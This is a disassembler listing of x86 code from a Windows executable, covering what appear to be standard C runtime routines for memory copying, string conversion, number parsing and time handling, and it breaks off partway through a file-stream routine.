arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		mov	esi, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		mov	edi, [ebp+arg_0]
		mov	eax, ecx
		mov	edx, ecx
		add	eax, esi
		cmp	edi, esi
		jbe	short loc_4145F0
		cmp	edi, eax
		jb	loc_414768


loc_4145F0:				; CODE XREF: sub_4145D0+16j
		test	edi, 3
		jnz	short loc_41460C
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_41462C
		rep movsd
		jmp	off_414718[edx*4]
; ---------------------------------------------------------------------------


loc_41460C:				; CODE XREF: sub_4145D0+26j
		mov	eax, edi
		mov	edx, 3
		sub	ecx, 4
		jb	short loc_414624
		and	eax, 3
		add	ecx, eax
		jmp	dword ptr loc_41462C+4[eax*4]
; ---------------------------------------------------------------------------


loc_414624:				; CODE XREF: sub_4145D0+46j
		jmp	dword ptr loc_414728[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41462C:				; CODE XREF: sub_4145D0+31j
					; sub_4145D0+8Ej ...
		jmp	off_4146AC[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_414640
		dd offset loc_41466C
		dd offset loc_414690
; ---------------------------------------------------------------------------


loc_414640:				; DATA XREF: sub_4145D0+64o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		add	esi, 3
		add	edi, 3
		cmp	ecx, 8
		jb	short loc_41462C
		rep movsd
		jmp	off_414718[edx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41466C:				; DATA XREF: sub_4145D0+68o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		add	esi, 2
		add	edi, 2
		cmp	ecx, 8
		jb	short loc_41462C
		rep movsd
		jmp	off_414718[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_414690:				; DATA XREF: sub_4145D0+6Co
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		inc	esi
		shr	ecx, 2
		inc	edi
		cmp	ecx, 8
		jb	short loc_41462C
		rep movsd
		jmp	off_414718[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_4146AC	dd offset loc_41470F	; DATA XREF: sub_4145D0:loc_41462Cr
		dd offset loc_4146FC
		dd offset loc_4146F4
		dd offset loc_4146EC
		dd offset loc_4146E4
		dd offset loc_4146DC
		dd offset loc_4146D4
		dd offset loc_4146CC
; ---------------------------------------------------------------------------


loc_4146CC:				; CODE XREF: sub_4145D0:loc_41462Cj
					; DATA XREF: sub_4145D0+F8o
		mov	eax, [esi+ecx*4-1Ch]
		mov	[edi+ecx*4-1Ch], eax


loc_4146D4:				; CODE XREF: sub_4145D0:loc_41462Cj
					; DATA XREF: sub_4145D0+F4o
		mov	eax, [esi+ecx*4-18h]
		mov	[edi+ecx*4-18h], eax


loc_4146DC:				; CODE XREF: sub_4145D0:loc_41462Cj
					; DATA XREF: sub_4145D0+F0o
		mov	eax, [esi+ecx*4-14h]
		mov	[edi+ecx*4-14h], eax


loc_4146E4:				; CODE XREF: sub_4145D0:loc_41462Cj
					; DATA XREF: sub_4145D0+ECo
		mov	eax, [esi+ecx*4-10h]
		mov	[edi+ecx*4-10h], eax


loc_4146EC:				; CODE XREF: sub_4145D0:loc_41462Cj
					; DATA XREF: sub_4145D0+E8o
		mov	eax, [esi+ecx*4-0Ch]
		mov	[edi+ecx*4-0Ch], eax


loc_4146F4:				; CODE XREF: sub_4145D0:loc_41462Cj
					; DATA XREF: sub_4145D0+E4o
		mov	eax, [esi+ecx*4-8]
		mov	[edi+ecx*4-8], eax


loc_4146FC:				; CODE XREF: sub_4145D0:loc_41462Cj
					; DATA XREF: sub_4145D0+E0o
		mov	eax, [esi+ecx*4-4]
		mov	[edi+ecx*4-4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_41470F:				; CODE XREF: sub_4145D0:loc_41462Cj
					; DATA XREF: sub_4145D0:off_4146ACo
		jmp	off_414718[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_414718	dd offset loc_414728	; DATA XREF: sub_4145D0+35r
					; sub_4145D0+92r ...
		dd offset loc_414730
		dd offset loc_41473C
		dd offset loc_414750
; ---------------------------------------------------------------------------


loc_414728:				; CODE XREF: sub_4145D0+35j
					; sub_4145D0+92j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_414730:				; CODE XREF: sub_4145D0+35j
					; sub_4145D0+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41473C:				; CODE XREF: sub_4145D0+35j
					; sub_4145D0+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_414750:				; CODE XREF: sub_4145D0+35j
					; sub_4145D0+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_414768:				; CODE XREF: sub_4145D0+1Aj
		lea	esi, [ecx+esi-4]
		lea	edi, [ecx+edi-4]
		test	edi, 3
		jnz	short loc_41479C
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_414790
		std
		rep movsd
		cld
		jmp	off_4148B0[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_414790:				; CODE XREF: sub_4145D0+1B1j
					; sub_4145D0+208j ...
		neg	ecx
		jmp	off_414860[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41479C:				; CODE XREF: sub_4145D0+1A6j
		mov	eax, edi
		mov	edx, 3
		cmp	ecx, 4
		jb	short loc_4147B4
		and	eax, 3
		sub	ecx, eax
		jmp	dword ptr loc_4147B4+4[eax*4]
; ---------------------------------------------------------------------------


loc_4147B4:				; CODE XREF: sub_4145D0+1D6j
					; DATA XREF: sub_4145D0+1DDr
		jmp	off_4148B0[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_4147C7+1
		dd offset loc_4147E8
; ---------------------------------------------------------------------------
		adc	[eax+41h], cl


loc_4147C7:				; DATA XREF: sub_4145D0+1ECo
		add	[edx-2EDCFCBAh], cl
		mov	[edi+3], al
		dec	esi
		shr	ecx, 2
		dec	edi
		cmp	ecx, 8
		jb	short loc_414790
		std
		rep movsd
		cld
		jmp	off_4148B0[edx*4]
; ---------------------------------------------------------------------------
		align 4


loc_4147E8:				; DATA XREF: sub_4145D0+1F0o
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		sub	esi, 2
		sub	edi, 2
		cmp	ecx, 8
		jb	short loc_414790
		std
		rep movsd
		cld
		jmp	off_4148B0[edx*4]
; ---------------------------------------------------------------------------
		align 10h
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		sub	esi, 3
		sub	edi, 3
		cmp	ecx, 8
		jb	loc_414790
		std
		rep movsd
		cld
		jmp	off_4148B0[edx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_414864
		dd offset loc_41486C
		dd offset loc_414874
		dd offset loc_41487C
		dd offset loc_414884
		dd offset loc_41488C
		dd offset loc_414894
off_414860	dd offset loc_4148A7	; DATA XREF: sub_4145D0+1C2r
; ---------------------------------------------------------------------------


loc_414864:				; DATA XREF: sub_4145D0+274o
		mov	eax, [esi+ecx*4+1Ch]
		mov	[edi+ecx*4+1Ch], eax


loc_41486C:				; DATA XREF: sub_4145D0+278o
		mov	eax, [esi+ecx*4+18h]
		mov	[edi+ecx*4+18h], eax


loc_414874:				; DATA XREF: sub_4145D0+27Co
		mov	eax, [esi+ecx*4+14h]
		mov	[edi+ecx*4+14h], eax


loc_41487C:				; DATA XREF: sub_4145D0+280o
		mov	eax, [esi+ecx*4+10h]
		mov	[edi+ecx*4+10h], eax


loc_414884:				; DATA XREF: sub_4145D0+284o
		mov	eax, [esi+ecx*4+0Ch]
		mov	[edi+ecx*4+0Ch], eax


loc_41488C:				; DATA XREF: sub_4145D0+288o
		mov	eax, [esi+ecx*4+8]
		mov	[edi+ecx*4+8], eax


loc_414894:				; DATA XREF: sub_4145D0+28Co
		mov	eax, [esi+ecx*4+4]
		mov	[edi+ecx*4+4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_4148A7:				; CODE XREF: sub_4145D0+1C2j
					; DATA XREF: sub_4145D0:off_414860o
		jmp	off_4148B0[edx*4]
; ---------------------------------------------------------------------------
		align 10h
off_4148B0	dd offset loc_4148C0	; DATA XREF: sub_4145D0+1B7r
					; sub_4145D0:loc_4147B4r ...
		dd offset loc_4148C8
		dd offset loc_4148D8
		dd offset loc_4148EC
; ---------------------------------------------------------------------------


loc_4148C0:				; CODE XREF: sub_4145D0+1B7j
					; sub_4145D0:loc_4147B4j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_4148C8:				; CODE XREF: sub_4145D0+1B7j
					; sub_4145D0:loc_4147B4j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_4148D8:				; CODE XREF: sub_4145D0+1B7j
					; sub_4145D0:loc_4147B4j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_4148EC:				; CODE XREF: sub_4145D0+1B7j
					; sub_4145D0:loc_4147B4j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
sub_4145D0	endp


; =============== S U B	R O U T	I N E =======================================



sub_414905	proc near		; CODE XREF: sub_40343A+34p
					; sub_40343A+4Fp ...

arg_0		= dword	ptr  4

		push	1
		push	[esp+4+arg_0]
		call	sub_413F1D
		pop	ecx
		pop	ecx
		retn
sub_414905	endp


; =============== S U B	R O U T	I N E =======================================



sub_414913	proc near		; CODE XREF: sub_414980+4p

arg_0		= dword	ptr  4

		push	esi
		push	dword_743894
		call	sub_418AC8
		mov	edx, dword_743894
		pop	ecx
		mov	ecx, dword_743890
		mov	esi, ecx
		sub	esi, edx
		add	esi, 4
		cmp	eax, esi
		pop	esi
		jnb	short loc_414972
		push	edx
		call	sub_418AC8
		add	eax, 10h
		push	eax
		push	dword_743894
		call	sub_4157BF
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_414955
		retn
; ---------------------------------------------------------------------------


loc_414955:				; CODE XREF: sub_414913+3Fj
		mov	ecx, dword_743890
		sub	ecx, dword_743894
		mov	dword_743894, eax
		sar	ecx, 2
		lea	ecx, [eax+ecx*4]
		mov	dword_743890, ecx


loc_414972:				; CODE XREF: sub_414913+23j
		mov	eax, [esp+arg_0]
		mov	[ecx], eax
		add	dword_743890, 4
		retn
sub_414913	endp


; =============== S U B	R O U T	I N E =======================================



sub_414980	proc near		; CODE XREF: sub_403527+1Ap
					; sub_41E40E+5p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_414913
		neg	eax
		sbb	eax, eax
		pop	ecx
		neg	eax
		dec	eax
		retn
sub_414980	endp


; =============== S U B	R O U T	I N E =======================================



sub_414992	proc near		; DATA XREF: seg001:00421014o
		push	80h
		call	sub_413F0B
		test	eax, eax
		pop	ecx
		mov	dword_743894, eax
		jnz	short loc_4149B3
		push	18h
		call	sub_415F07
		mov	eax, dword_743894
		pop	ecx


loc_4149B3:				; CODE XREF: sub_414992+12j
		and	dword ptr [eax], 0
		mov	eax, dword_743894
		mov	dword_743890, eax
		retn
sub_414992	endp


; =============== S U B	R O U T	I N E =======================================



sub_4149C1	proc near		; CODE XREF: sub_403C2B+35Bp
					; sub_403C2B+3D7p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_4]
		mov	eax, [esp+arg_0]
		push	esi
		mov	dx, [ecx]
		lea	esi, [eax+2]
		mov	[eax], dx


loc_4149D3:				; CODE XREF: sub_4149C1+21j
		inc	ecx
		inc	ecx
		test	dx, dx
		jz	short loc_4149E4
		mov	dx, [ecx]
		mov	[esi], dx
		inc	esi
		inc	esi
		jmp	short loc_4149D3
; ---------------------------------------------------------------------------


loc_4149E4:				; CODE XREF: sub_4149C1+17j
		pop	esi
		retn
sub_4149C1	endp


; =============== S U B	R O U T	I N E =======================================



sub_4149E6	proc near		; CODE XREF: sub_403C2B+2B9p
					; sub_403C2B+2DEp ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		cmp	word ptr [ecx],	0
		lea	eax, [ecx+2]
		jz	short loc_4149FD


loc_4149F3:				; CODE XREF: sub_4149E6+15j
		mov	dx, [eax]
		inc	eax
		inc	eax
		test	dx, dx
		jnz	short loc_4149F3


loc_4149FD:				; CODE XREF: sub_4149E6+Bj
		sub	eax, ecx
		sar	eax, 1
		dec	eax
		retn
sub_4149E6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414A03	proc near		; CODE XREF: sub_403C2B+17Cp
					; sub_40C212+19p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_0]
		push	ebx
		push	esi
		xor	esi, esi
		xor	eax, eax
		cmp	edx, esi
		push	edi
		jz	loc_414AD0
		mov	edi, [ebp+arg_8]
		cmp	edi, esi
		jz	loc_414AFD
		cmp	dword_7422B4, esi
		jnz	short loc_414A54
		cmp	edi, esi
		jbe	loc_414AFD


loc_414A33:				; CODE XREF: sub_414A03+4Aj
		mov	ecx, [ebp+arg_4]
		add	ecx, eax
		movzx	si, byte ptr [ecx]
		mov	[edx], si
		cmp	byte ptr [ecx],	0
		jz	loc_414AFD
		inc	eax
		inc	edx
		inc	edx
		cmp	eax, edi
		jb	short loc_414A33
		jmp	loc_414AFD
; ---------------------------------------------------------------------------


loc_414A54:				; CODE XREF: sub_414A03+26j
		mov	ebx, [ebp+arg_4]
		mov	esi, dword_41F110
		push	edi
		push	edx
		push	0FFFFFFFFh
		push	ebx
		push	9
		push	dword_7422C4
		call	esi	; MultiByteToWideChar
		test	eax, eax
		jnz	loc_414AFC
		call	dword_41F06C	; RtlGetLastWin32Error
		cmp	eax, 7Ah
		jz	short loc_414A8E


loc_414A7F:				; CODE XREF: sub_414A03+CBj
					; sub_414A03+F7j
		mov	dword_74222C, 2Ah
		or	eax, 0FFFFFFFFh
		jmp	short loc_414AFD
; ---------------------------------------------------------------------------


loc_414A8E:				; CODE XREF: sub_414A03+7Aj
		lea	ecx, [edi-1]
		mov	eax, ebx
		mov	[ebp+arg_4], ecx


loc_414A96:				; CODE XREF: sub_414A03+B3j
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_414AB8
		mov	edx, off_4377B0
		movzx	ecx, cl
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_414AAD
		inc	eax


loc_414AAD:				; CODE XREF: sub_414A03+A7j
		mov	ecx, [ebp+arg_4]
		inc	eax
		dec	[ebp+arg_4]
		test	ecx, ecx
		jnz	short loc_414A96


loc_414AB8:				; CODE XREF: sub_414A03+97j
		push	edi
		sub	eax, ebx
		push	[ebp+arg_0]
		push	eax
		push	ebx
		push	1
		push	dword_7422C4
		call	esi	; MultiByteToWideChar
		test	eax, eax
		jnz	short loc_414AFD
		jmp	short loc_414A7F
; ---------------------------------------------------------------------------


loc_414AD0:				; CODE XREF: sub_414A03+Fj
		cmp	dword_7422B4, esi
		jnz	short loc_414AE3
		push	[ebp+arg_4]
		call	sub_413E90
		pop	ecx
		jmp	short loc_414AFD
; ---------------------------------------------------------------------------


loc_414AE3:				; CODE XREF: sub_414A03+D3j
		push	esi
		push	esi
		push	0FFFFFFFFh
		push	[ebp+arg_4]
		push	9
		push	dword_7422C4
		call	dword_41F110	; MultiByteToWideChar
		cmp	eax, esi
		jz	short loc_414A7F


loc_414AFC:				; CODE XREF: sub_414A03+6Bj
		dec	eax


loc_414AFD:				; CODE XREF: sub_414A03+1Aj
					; sub_414A03+2Aj ...
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_414A03	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414B02	proc near		; CODE XREF: sub_414D0A+Ep

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		and	[ebp+var_8], 0
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		mov	bl, [edi]
		lea	esi, [edi+1]
		mov	[ebp+var_4], esi


loc_414B1A:				; CODE XREF: sub_414B02+46j
		cmp	dword_4379BC, 1
		jle	short loc_414B32
		movzx	eax, bl
		push	8
		push	eax
		call	sub_41686F
		pop	ecx
		pop	ecx
		jmp	short loc_414B41
; ---------------------------------------------------------------------------


loc_414B32:				; CODE XREF: sub_414B02+1Fj
		mov	ecx, off_4377B0
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 8


loc_414B41:				; CODE XREF: sub_414B02+2Ej
		test	eax, eax
		jz	short loc_414B4A
		mov	bl, [esi]
		inc	esi
		jmp	short loc_414B1A
; ---------------------------------------------------------------------------


loc_414B4A:				; CODE XREF: sub_414B02+41j
		cmp	bl, 2Dh
		mov	[ebp+var_4], esi
		jnz	short loc_414B58
		or	[ebp+arg_C], 2
		jmp	short loc_414B5D
; ---------------------------------------------------------------------------


loc_414B58:				; CODE XREF: sub_414B02+4Ej
		cmp	bl, 2Bh
		jnz	short loc_414B63


loc_414B5D:				; CODE XREF: sub_414B02+54j
		mov	bl, [esi]
		inc	esi
		mov	[ebp+var_4], esi


loc_414B63:				; CODE XREF: sub_414B02+59j
		mov	eax, [ebp+arg_8]
		test	eax, eax
		jl	loc_414CFA
		cmp	eax, 1
		jz	loc_414CFA
		cmp	eax, 24h
		jg	loc_414CFA
		push	10h
		test	eax, eax
		pop	ecx
		jnz	short loc_414BAB
		cmp	bl, 30h
		jz	short loc_414B95
		mov	[ebp+arg_8], 0Ah
		jmp	short loc_414BC7
; ---------------------------------------------------------------------------


loc_414B95:				; CODE XREF: sub_414B02+88j
		mov	al, [esi]
		cmp	al, 78h
		jz	short loc_414BA8
		cmp	al, 58h
		jz	short loc_414BA8
		mov	[ebp+arg_8], 8
		jmp	short loc_414BC7
; ---------------------------------------------------------------------------


loc_414BA8:				; CODE XREF: sub_414B02+97j
					; sub_414B02+9Bj
		mov	[ebp+arg_8], ecx


loc_414BAB:				; CODE XREF: sub_414B02+83j
		cmp	[ebp+arg_8], ecx
		jnz	short loc_414BC7
		cmp	bl, 30h
		jnz	short loc_414BC7
		mov	al, [esi]
		cmp	al, 78h
		jz	short loc_414BBF
		cmp	al, 58h
		jnz	short loc_414BC7


loc_414BBF:				; CODE XREF: sub_414B02+B7j
		mov	bl, [esi+1]
		inc	esi
		inc	esi
		mov	[ebp+var_4], esi


loc_414BC7:				; CODE XREF: sub_414B02+91j
					; sub_414B02+A4j ...
		or	eax, 0FFFFFFFFh
		xor	edx, edx
		div	[ebp+arg_8]
		mov	edi, 103h
		mov	[ebp+var_C], eax


loc_414BD7:				; CODE XREF: sub_414B02+16Cj
		cmp	dword_4379BC, 1
		movzx	esi, bl
		jle	short loc_414BEF
		push	4
		push	esi
		call	sub_41686F
		pop	ecx
		pop	ecx
		jmp	short loc_414BFA
; ---------------------------------------------------------------------------


loc_414BEF:				; CODE XREF: sub_414B02+DFj
		mov	eax, off_4377B0
		mov	al, [eax+esi*2]
		and	eax, 4


loc_414BFA:				; CODE XREF: sub_414B02+EBj
		test	eax, eax
		jz	short loc_414C06
		movsx	ecx, bl
		sub	ecx, 30h
		jmp	short loc_414C38
; ---------------------------------------------------------------------------


loc_414C06:				; CODE XREF: sub_414B02+FAj
		cmp	dword_4379BC, 1
		jle	short loc_414C1A
		push	edi
		push	esi
		call	sub_41686F
		pop	ecx
		pop	ecx
		jmp	short loc_414C25
; ---------------------------------------------------------------------------


loc_414C1A:				; CODE XREF: sub_414B02+10Bj
		mov	eax, off_4377B0
		mov	ax, [eax+esi*2]
		and	eax, edi


loc_414C25:				; CODE XREF: sub_414B02+116j
		test	eax, eax
		jz	short loc_414C73
		movsx	eax, bl
		push	eax
		call	sub_418AF1
		pop	ecx
		mov	ecx, eax
		sub	ecx, 37h


loc_414C38:				; CODE XREF: sub_414B02+102j
		cmp	ecx, [ebp+arg_8]
		jnb	short loc_414C73
		mov	esi, [ebp+var_8]
		or	[ebp+arg_C], 8
		cmp	esi, [ebp+var_C]
		jb	short loc_414C5D
		jnz	short loc_414C57
		or	eax, 0FFFFFFFFh
		xor	edx, edx
		div	[ebp+arg_8]
		cmp	ecx, edx
		jbe	short loc_414C5D


loc_414C57:				; CODE XREF: sub_414B02+147j
		or	[ebp+arg_C], 4
		jmp	short loc_414C66
; ---------------------------------------------------------------------------


loc_414C5D:				; CODE XREF: sub_414B02+145j
					; sub_414B02+153j
		imul	esi, [ebp+arg_8]
		add	esi, ecx
		mov	[ebp+var_8], esi


loc_414C66:				; CODE XREF: sub_414B02+159j
		mov	eax, [ebp+var_4]
		inc	[ebp+var_4]
		mov	bl, [eax]
		jmp	loc_414BD7
; ---------------------------------------------------------------------------


loc_414C73:				; CODE XREF: sub_414B02+125j
					; sub_414B02+139j
		mov	ecx, [ebp+arg_C]
		dec	[ebp+var_4]
		mov	edx, [ebp+arg_4]
		test	cl, 8
		jnz	short loc_414C91
		test	edx, edx
		jz	short loc_414C8B
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], eax


loc_414C8B:				; CODE XREF: sub_414B02+181j
		and	[ebp+var_8], 0
		jmp	short loc_414CDE
; ---------------------------------------------------------------------------


loc_414C91:				; CODE XREF: sub_414B02+17Dj
		test	cl, 4
		mov	eax, 7FFFFFFFh
		jnz	short loc_414CB7
		test	cl, 1
		jnz	short loc_414CDE
		and	ecx, 2
		jz	short loc_414CAE
		cmp	[ebp+var_8], 80000000h
		ja	short loc_414CB7


loc_414CAE:				; CODE XREF: sub_414B02+1A1j
		test	ecx, ecx
		jnz	short loc_414CDE
		cmp	[ebp+var_8], eax
		jbe	short loc_414CDE


loc_414CB7:				; CODE XREF: sub_414B02+197j
					; sub_414B02+1AAj
		test	byte ptr [ebp+arg_C], 1
		mov	dword_74222C, 22h
		jz	short loc_414CCD
		or	[ebp+var_8], 0FFFFFFFFh
		jmp	short loc_414CDE
; ---------------------------------------------------------------------------


loc_414CCD:				; CODE XREF: sub_414B02+1C3j
		mov	ecx, [ebp+arg_C]
		and	cl, 2
		neg	cl
		sbb	ecx, ecx
		neg	ecx
		add	ecx, eax
		mov	[ebp+var_8], ecx


loc_414CDE:				; CODE XREF: sub_414B02+18Dj
					; sub_414B02+19Cj ...
		test	edx, edx
		jz	short loc_414CE7
		mov	eax, [ebp+var_4]
		mov	[edx], eax


loc_414CE7:				; CODE XREF: sub_414B02+1DEj
		test	byte ptr [ebp+arg_C], 2
		jz	short loc_414CF5
		mov	eax, [ebp+var_8]
		neg	eax
		mov	[ebp+var_8], eax


loc_414CF5:				; CODE XREF: sub_414B02+1E9j
		mov	eax, [ebp+var_8]
		jmp	short loc_414D05
; ---------------------------------------------------------------------------


loc_414CFA:				; CODE XREF: sub_414B02+66j
					; sub_414B02+6Fj ...
		mov	eax, [ebp+arg_4]
		test	eax, eax
		jz	short loc_414D03
		mov	[eax], edi


loc_414D03:				; CODE XREF: sub_414B02+1FDj
		xor	eax, eax


loc_414D05:				; CODE XREF: sub_414B02+1F6j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_414B02	endp


; =============== S U B	R O U T	I N E =======================================



sub_414D0A	proc near		; CODE XREF: sub_4041D7+4BDp
					; sub_40CC09+3306p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	1
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_414B02
		add	esp, 10h
		retn
sub_414D0A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414D21	proc near		; CODE XREF: sub_4041D7+266p
					; sub_4041D7+46Ap ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_14], 49h
		push	eax
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		call	sub_413E90
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_4]
		push	eax
		call	sub_418BBD
		add	esp, 10h
		leave
		retn
sub_414D21	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414D55	proc near		; CODE XREF: sub_4041D7+4Ep

var_CC		= byte ptr -0CCh
var_32		= word ptr -32h
var_24		= dword	ptr -24h
var_20		= word ptr -20h
var_1E		= word ptr -1Eh
var_1A		= word ptr -1Ah
var_18		= word ptr -18h
var_16		= word ptr -16h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6
var_4		= word ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0CCh
		lea	eax, [ebp+var_10]
		push	eax
		call	dword_41F100	; GetLocalTime
		lea	eax, [ebp+var_20]
		push	eax
		call	dword_41F154	; GetSystemTime
		mov	ax, [ebp+var_16]
		cmp	ax, word_742222
		jnz	short loc_414DBA
		mov	ax, [ebp+var_18]
		cmp	ax, word_742220
		jnz	short loc_414DBA
		mov	ax, [ebp+var_1A]
		cmp	ax, word_74221E
		jnz	short loc_414DBA
		mov	ax, [ebp+var_1E]
		cmp	ax, word_74221A
		jnz	short loc_414DBA
		mov	ax, [ebp+var_20]
		cmp	ax, word_742218
		jnz	short loc_414DBA
		mov	eax, dword_742210
		jmp	short loc_414DFF
; ---------------------------------------------------------------------------


loc_414DBA:				; CODE XREF: sub_414D55+28j
					; sub_414D55+35j ...
		lea	eax, [ebp+var_CC]
		push	eax
		call	dword_41F150	; GetTimeZoneInformation
		cmp	eax, 0FFFFFFFFh
		jz	short loc_414DE7
		cmp	eax, 2
		jnz	short loc_414DE3
		cmp	[ebp+var_32], 0
		jz	short loc_414DE3
		cmp	[ebp+var_24], 0
		jz	short loc_414DE3
		push	1
		pop	eax
		jmp	short loc_414DEA
; ---------------------------------------------------------------------------


loc_414DE3:				; CODE XREF: sub_414D55+7Aj
					; sub_414D55+81j ...
		xor	eax, eax
		jmp	short loc_414DEA
; ---------------------------------------------------------------------------


loc_414DE7:				; CODE XREF: sub_414D55+75j
		or	eax, 0FFFFFFFFh


loc_414DEA:				; CODE XREF: sub_414D55+8Cj
					; sub_414D55+90j
		push	esi
		push	edi
		lea	esi, [ebp+var_20]
		mov	edi, offset word_742218
		movsd
		movsd
		movsd
		movsd
		pop	edi
		mov	dword_742210, eax
		pop	esi


loc_414DFF:				; CODE XREF: sub_414D55+63j
		push	eax
		movzx	eax, [ebp+var_4]
		push	eax
		movzx	eax, [ebp+var_6]
		push	eax
		movzx	eax, [ebp+var_8]
		push	eax
		movzx	eax, [ebp+var_A]
		push	eax
		movzx	eax, [ebp+var_E]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		call	sub_41966E
		mov	ecx, [ebp+arg_0]
		add	esp, 1Ch
		test	ecx, ecx
		jz	short locret_414E2F
		mov	[ecx], eax

locret_414E2F:				; CODE XREF: sub_414D55+D6j
		leave
		retn
sub_414D55	endp


; =============== S U B	R O U T	I N E =======================================



sub_414E31	proc near		; CODE XREF: sub_404857+7Cp
					; sub_405A21+4B5p ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		or	edi, 0FFFFFFFFh
		mov	eax, [esi+0Ch]
		test	al, 40h
		jz	short loc_414E46
		or	eax, 0FFFFFFFFh
		jmp	short loc_414E80
; ---------------------------------------------------------------------------


loc_414E46:				; CODE XREF: sub_414E31+Ej
		test	al, 83h
		jz	short loc_414E7E
		push	esi
		call	sub_419849
		push	esi
		mov	edi, eax
		call	sub_4197E3
		push	dword ptr [esi+10h]
		call	sub_419730
		add	esp, 0Ch
		test	eax, eax
		jge	short loc_414E6C
